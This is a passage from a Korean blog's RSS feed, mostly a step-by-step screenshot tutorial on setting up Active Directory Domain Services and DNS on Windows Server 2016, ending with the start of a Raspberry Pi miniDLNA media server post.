&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;560&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;356&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFnltC/btrdOWESzcQ/kDaiAXDPMO0qxnfyoczyWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFnltC/btrdOWESzcQ/kDaiAXDPMO0qxnfyoczyWK/img.png&quot; data-alt=&quot;DNS Server 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFnltC/btrdOWESzcQ/kDaiAXDPMO0qxnfyoczyWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFnltC%2FbtrdOWESzcQ%2FkDaiAXDPMO0qxnfyoczyWK%2Fimg.png&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;560&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;356&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DNS Server 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Confirmation에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Active Directory Domain Services와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS Server를 확인한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치를 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;561&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;356&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk9pB0/btrdPI0Cuwo/4pUK7Xpm4E5bwlkDuXSfXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk9pB0/btrdPI0Cuwo/4pUK7Xpm4E5bwlkDuXSfXk/img.png&quot; data-alt=&quot;Install&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk9pB0/btrdPI0Cuwo/4pUK7Xpm4E5bwlkDuXSfXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk9pB0%2FbtrdPI0Cuwo%2F4pUK7Xpm4E5bwlkDuXSfXk%2Fimg.png&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;561&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;356&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Install&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;AD 도메인 서비스 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 설치 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD의 도메인 서비스를 구성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;구성 순서:&lt;br /&gt;&lt;b&gt;- Promote this server to a domain controller 클릭&lt;br /&gt;&amp;gt; Add a new forest &amp;gt; Root domain name 입력(URL의 host부분) &amp;gt; Next&lt;br /&gt;&amp;gt; Type the Directory Services Restore Mode(DSRM) password 입력 &amp;gt; Next&lt;br /&gt;&amp;gt; Waring 무시하고 Next&lt;br /&gt;&amp;gt; NetBIOS 이름 확인/수정 후 Next&lt;br /&gt;&amp;gt; 주요 데이터 파일 위치 확인/수정 후 Next&lt;br /&gt;&amp;gt; Next &amp;gt; Install&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Root domain name을 입력합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;823&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;382&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0XIhv/btrdNYQMRSR/zl7VSgBT2z5nrlJnhUNx9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0XIhv/btrdNYQMRSR/zl7VSgBT2z5nrlJnhUNx9k/img.png&quot; data-alt=&quot;Root domain name(URL) 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0XIhv/btrdNYQMRSR/zl7VSgBT2z5nrlJnhUNx9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0XIhv%2FbtrdNYQMRSR%2Fzl7VSgBT2z5nrlJnhUNx9k%2Fimg.png&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;823&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;382&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Root domain name(URL) 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DSRM password(복구용 패스워드)를 입력합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;561&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOiaPx/btrdOXwZ4ot/Z8TiWbTYvmVvAZdunWXuiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOiaPx/btrdOXwZ4ot/Z8TiWbTYvmVvAZdunWXuiK/img.png&quot; data-alt=&quot;DSRM password 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOiaPx/btrdOXwZ4ot/Z8TiWbTYvmVvAZdunWXuiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOiaPx%2FbtrdOXwZ4ot%2FZ8TiWbTYvmVvAZdunWXuiK%2Fimg.png&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;561&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DSRM password 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 DNS Service를 확인할 수 없어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나타는 Waring으로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD 구성이 완료되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동으로 DNS Service가 설치되기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무시하고 넘어갑니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;561&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bve3Mr/btrdNXRVTiz/Vyln3LUUXNhhFQF2IPJvN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bve3Mr/btrdNXRVTiz/Vyln3LUUXNhhFQF2IPJvN0/img.png&quot; data-alt=&quot;DNS Server는 추후에 설치됨&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bve3Mr/btrdNXRVTiz/Vyln3LUUXNhhFQF2IPJvN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbve3Mr%2FbtrdNXRVTiz%2FVyln3LUUXNhhFQF2IPJvN0%2Fimg.png&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;561&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DNS Server는 추후에 설치됨&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NetBIOS Domain name은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Root Domain 이름에서 자동으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성되지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정도 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;561&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;368&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpd2sN/btrdQBmGlvw/aJPMJ1aBYrbJAoHeK1yzD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpd2sN/btrdQBmGlvw/aJPMJ1aBYrbJAoHeK1yzD0/img.png&quot; data-alt=&quot;수정이 필요해보이지만 Next&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpd2sN/btrdQBmGlvw/aJPMJ1aBYrbJAoHeK1yzD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpd2sN%2FbtrdQBmGlvw%2FaJPMJ1aBYrbJAoHeK1yzD0%2Fimg.png&quot; data-origin-width=&quot;762&quot; data-origin-height=&quot;561&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;368&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;수정이 필요해보이지만 Next&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Active Directory의 데이터들이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장될 위치를 지정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;559&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;367&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmMy1S/btrdTShalah/Raarxe0hP0n68QPcsw3F21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmMy1S/btrdTShalah/Raarxe0hP0n68QPcsw3F21/img.png&quot; data-alt=&quot;AD 주요 파일 저장 위치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmMy1S/btrdTShalah/Raarxe0hP0n68QPcsw3F21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmMy1S%2FbtrdTShalah%2FRaarxe0hP0n68QPcsw3F21%2Fimg.png&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;559&quot; data-filename=&quot;5.png&quot; width=&quot;500&quot; height=&quot;367&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AD 주요 파일 저장 위치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Install&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 완료되면 자동으로 재부팅 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;561&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWaPGX/btrdQBmGpcv/TABtFtnq1Ewb2TYVB1bXo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWaPGX/btrdQBmGpcv/TABtFtnq1Ewb2TYVB1bXo1/img.png&quot; data-alt=&quot;Install&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWaPGX/btrdQBmGpcv/TABtFtnq1Ewb2TYVB1bXo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWaPGX%2FbtrdQBmGpcv%2FTABtFtnq1Ewb2TYVB1bXo1%2Fimg.png&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;561&quot; data-filename=&quot;6.png&quot; width=&quot;500&quot; height=&quot;369&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Install&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설치 완료&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅이 끝나면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바뀐 로그인 화면을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;444&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;396&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xvKHy/btrdPzJkM0h/YCrhZ3KYyUymm3r7AI6Wd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xvKHy/btrdPzJkM0h/YCrhZ3KYyUymm3r7AI6Wd1/img.png&quot; data-alt=&quot;AD 계정으로 바뀐 로그인 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xvKHy/btrdPzJkM0h/YCrhZ3KYyUymm3r7AI6Wd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxvKHy%2FbtrdPzJkM0h%2FYCrhZ3KYyUymm3r7AI6Wd1%2Fimg.png&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;444&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;396&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AD 계정으로 바뀐 로그인 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구성은 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;로그인 ID 구성&lt;br /&gt;&lt;b&gt;- NetBIOS Domain name\계정 이름&lt;br /&gt;= AD SERVER IP\계정 이름&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀번호는 동일하므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그대로 로그인 하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Server Manager &amp;gt; Tools에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Active Direcotry와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;339&quot; data-filename=&quot;8.png&quot; width=&quot;500&quot; height=&quot;189&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by2GuM/btrdM6nEPWh/sax8lzjPrL9IGwuG8kg0X1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by2GuM/btrdM6nEPWh/sax8lzjPrL9IGwuG8kg0X1/img.png&quot; data-alt=&quot;AD 및 DNS 설치 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by2GuM/btrdM6nEPWh/sax8lzjPrL9IGwuG8kg0X1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby2GuM%2FbtrdM6nEPWh%2Fsax8lzjPrL9IGwuG8kg0X1%2Fimg.png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;339&quot; data-filename=&quot;8.png&quot; width=&quot;500&quot; height=&quot;189&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;AD 및 DNS 설치 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일 AD에 가입(Join)된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장비(PC, Server 등)를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;527&quot; data-filename=&quot;9.png&quot; width=&quot;500&quot; height=&quot;350&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf0DeR/btrdUEpfZD1/1SiDjRWN8c9wIyDYHFmPw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf0DeR/btrdUEpfZD1/1SiDjRWN8c9wIyDYHFmPw0/img.png&quot; data-alt=&quot;Join 된 Device 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf0DeR/btrdUEpfZD1/1SiDjRWN8c9wIyDYHFmPw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf0DeR%2FbtrdUEpfZD1%2F1SiDjRWN8c9wIyDYHFmPw0%2Fimg.png&quot; data-origin-width=&quot;753&quot; data-origin-height=&quot;527&quot; data-filename=&quot;9.png&quot; width=&quot;500&quot; height=&quot;350&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Join 된 Device 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연관된 글&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/151&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/152&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/스터디</category>
      <category>Active Directoty</category>
      <category>AD</category>
      <category>Server 2016</category>
      <category>window</category>
      <category>WIndow Server</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/150</guid>
      <comments>https://chmodi.tistory.com/150#entry150comment</comments>
      <pubDate>Thu, 2 Sep 2021 17:17:17 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 7. 미디어 서버: miniDLNA</title>
      <link>https://chmodi.tistory.com/149</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장된 동영상을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 기기에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;볼 수 있는 방법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;DLNA?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
